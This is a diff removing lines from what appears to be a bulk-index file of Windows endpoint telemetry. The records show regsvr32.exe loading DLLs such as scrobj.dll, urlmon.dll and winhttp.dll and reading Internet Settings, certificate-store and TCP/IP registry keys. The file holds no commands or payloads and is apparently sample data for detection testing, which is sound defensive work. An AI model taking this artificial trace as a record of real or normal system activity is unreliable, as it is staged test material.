-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\gdi32.dll", "name": "gdi32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\gdi32full.dll", "name": "gdi32full.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcp_win.dll", "name": "msvcp_win.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ucrtbase.dll", "name": "ucrtbase.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\shlwapi.dll", "name": "shlwapi.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\combase.dll", "name": "combase.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\rpcrt4.dll", "name": "rpcrt4.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\bcryptprimitives.dll", "name": "bcryptprimitives.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sfc.dll", "name": "sfc.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\winspool.drv", "name": "winspool.drv" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel.appcore.dll", "name": "kernel.appcore.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\propsys.dll", "name": "propsys.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\oleaut32.dll", "name": "oleaut32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\SHCore.dll", "name": "SHCore.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sechost.dll", "name": "sechost.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\IPHLPAPI.DLL", "name": "IPHLPAPI.DLL" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\bcrypt.dll", "name": "bcrypt.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sfc.dll", "name": "sfc.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sfc_os.dll", "name": "sfc_os.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\imm32.dll", "name": "imm32.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ole32.dll", "name": "ole32.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\uxtheme.dll", "name": "uxtheme.dll" }, "@timestamp": 131883573237300000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\scrobj.dll", "name": "scrobj.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\advapi32.dll", "name": "advapi32.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\urlmon.dll", "name": "urlmon.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\windows.storage.dll", "name": "windows.storage.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\profapi.dll", "name": "profapi.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\powrprof.dll", "name": "powrprof.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\iertutil.dll", "name": "iertutil.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\fltLib.dll", "name": "fltLib.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\cryptbase.dll", "name": "cryptbase.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\dwmapi.dll", "name": "dwmapi.dll" }, "@timestamp": 131883573237450016, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sspicli.dll", "name": "sspicli.dll" }, "@timestamp": 131883573237930000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ws2_32.dll", "name": "ws2_32.dll" }, "@timestamp": 131883573237930000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\OnDemandConnRouteHelper.dll", "name": "OnDemandConnRouteHelper.dll" }, "@timestamp": 131883573237930000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\winhttp.dll", "name": "winhttp.dll" }, "@timestamp": 131883573237930000, "event": { "category": "library" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap", "value": "ZoneMap", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass", "value": "ProxyBypass", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName", "value": "IntranetName", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet", "value": "UNCAsIntranet", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect", "value": "AutoDetect", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass", "value": "ProxyBypass", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName", "value": "IntranetName", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet", "value": "UNCAsIntranet", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect", "value": "AutoDetect", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573237930000, "event": { "category": "registry" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\nsi.dll", "name": "nsi.dll" }, "@timestamp": 131883573238080000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\mswsock.dll", "name": "mswsock.dll" }, "@timestamp": 131883573238080000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\winnsi.dll", "name": "winnsi.dll" }, "@timestamp": 131883573238080000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\crypt32.dll", "name": "crypt32.dll" }, "@timestamp": 131883573238080000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\msasn1.dll", "name": "msasn1.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\dpapi.dll", "name": "dpapi.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\wintrust.dll", "name": "wintrust.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\cryptsp.dll", "name": "cryptsp.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\rsaenh.dll", "name": "rsaenh.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\WinTrust\\Trust Providers\\Software Publishing", "value": "Software Publishing", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\WinTrust\\Trust Providers" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\ROOT", "value": "ROOT", "key": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\ROOT", "value": "ROOT", "key": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\AuthRoot", "value": "AuthRoot", "key": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root", "value": "Root", "key": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root", "value": "Root", "key": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\SmartCardRoot", "value": "SmartCardRoot", "key": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\CA", "value": "CA", "key": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\CA", "value": "CA", "key": "HKLM\\SOFTWARE\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\CA", "value": "CA", "key": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\CA", "value": "CA", "key": "HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\Root", "value": "Root", "key": "HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates\\CA", "value": "CA", "key": "HKLM\\SOFTWARE\\Policies\\Microsoft\\SystemCertificates" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Content\\CachePrefix", "value": "CachePrefix", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Content" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Cookies\\CachePrefix", "value": "CachePrefix", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Cookies" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\History\\CachePrefix", "value": "CachePrefix", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\History" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\dnsapi.dll", "name": "dnsapi.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
